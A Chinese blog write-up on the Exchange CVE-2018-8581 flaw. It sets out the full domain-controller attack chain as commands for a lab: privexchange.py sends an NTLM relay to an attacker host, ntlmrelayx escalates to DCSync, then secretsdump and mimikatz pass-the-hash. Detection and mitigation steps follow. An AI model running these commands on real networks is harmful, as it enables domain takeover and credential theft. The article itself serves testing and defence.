Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581
前一段时间exchange出现了CVE-2018-8581,搭了许久的环境,不过不得不敬佩这个漏洞整体超赞。
一开始主要还是利用盗取exchange的管理员权限去调用一些接口,导致可以做到,比如收取别人邮件,替别人发送邮件。
攻击域控
今天出了一个更加深入的利用分析
主要是利用了ews推送的ssrf,进行ntlm relay,从http -> ldap的利用。主要还是exchange权限太高了,可以改变用户的acl权限,再通过DCSync dump数据。
测试环境:
1、exchange 2013 sp1 搭建在windows 2012上
2、DC域控为windows 2008 r2
两个是分离的,另外利用程序攻击的时候是需要修改版本号的,不过原作者已经改了这个问题。
https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py#L64
利用程序:
privexchange.py:
https://github.com/dirkjanm/PrivExchange
ntlmrelayx.py、secretsdump.py:
https://github.com/SecureAuthCorp/impacket
ubuntu: 192.168.186.133
dc: 192.168.186.100
mail: mail.lemon.com -> 192.168.186.101
域名: LEMON
用户名: lemon
命令:
python privexchange.py -ah 192.168.186.133 mail.lemon.com -u lemon -p password -d LEMON --debug
ntlmrelayx.py -t ldap://192.168.186.100 --escalate-user lemon
python secretsdump.py LEMON/lemon@192.168.186.100 -just-dc
然后就是很愉快的进入域控
mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:LEMON /ntlm:fc399xxxxxxxxxxxxxxxxx89088"
越权操作
也已经有同学根据ZDI放出的脚本写了一个一键工具,方便利用: https://github.com/WyAtu/CVE-2018-8581
通过ews的权限,根据sid来模拟各种用户进行接口调用操作。
原poc应该是在2012中测试,但是对于低版本,比如exchange 2010没有权限那个功能,所以没法获取到SID
1、反向委托
2007就存在此接口,较为通用
2、如果在域内,命令行下可以用wmi获取: wmi useraccount where name='lemon'
另外目前的一些接口主要是进行接收邮件,可以参考接口文档改一下,进行更多的邮件操作。
攻击检测
根据这次攻击手法,可以从下面一些点进行检测是否受到攻击。
1、用户检测
Exchange会为用户添加ACl权限,所以可以查看哪些用户有权限
powershell -ep bypass
Import-Module ActiveDirectory
Import-Module -force .\Get-DCSyncRights.ps1
Get-DCSyncRights | Export-CSV DCSyncRights.csv -NoType
这里可以看到LEMON\lemon
是存在这个权限的
2、日志检测
最后dump域控hash数据主要是利用了DCSync,所以我们可以针对其对应的事件ID为4662
进行查询
LogParser.exe -i:EVT "select distinct TimeGenerated,EXTRACT_TOKEN(Strings,2,'|') AS Domain,EXTRACT_TOKEN(Strings,1,'|') AS UserName,ComputerName from 'C:\Users\lemon\Desktop\test.evtx' where EventID=4662 order by TimeGenerated desc"
可以看到LEMON\lemon
,再根据时间、用户登录等维度可以定位到具体IP
漏洞修复
声明: 下面为缓解措施,仅作为参考,通过测试,下面不会影响发送接收邮件功能,其余功能未知。最好咨询微软专家进行修复
首先是需要恢复被攻击的账号
PowerView powershell 移除用户DCSync权限
Remove-DomainObjectAcl -TargetIdentity "DC=lemon,DC=com" -PrincipalIdentity lemon -Rights DCSync
1、删除注册表
其修复方案只能修复越权操作Api接口,因为DisableLoopbackCheck
被删除后,ntlm重放时候,本地认证将会失败,但是在集群情况下是属于对其他机器进行重放,导致可以攻击,所以此修复方案只能一定程度上缓解。
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableLoopbackCheck /f
2、去除Exchange默认允许修改ACL的权限
https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1
powershell -ep bypass
Import-Module ActiveDirectory
.\Fix-DomainObjectDACL -Fix
环境搭建
主要依据这篇文章进行环境搭建
安装exchange之前需要一些先决条件(windows 2012)并且与域控windows 2008分离:
powershell:
Install-WindowsFeature RSAT-ADDS
Import-Module ServerManager
Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation
安装其他程序
http://go.microsoft.com/fwlink/p/?linkId=258269
http://go.microsoft.com/fwlink/p/?linkID=191548
http://go.microsoft.com/fwlink/p/?LinkId=254043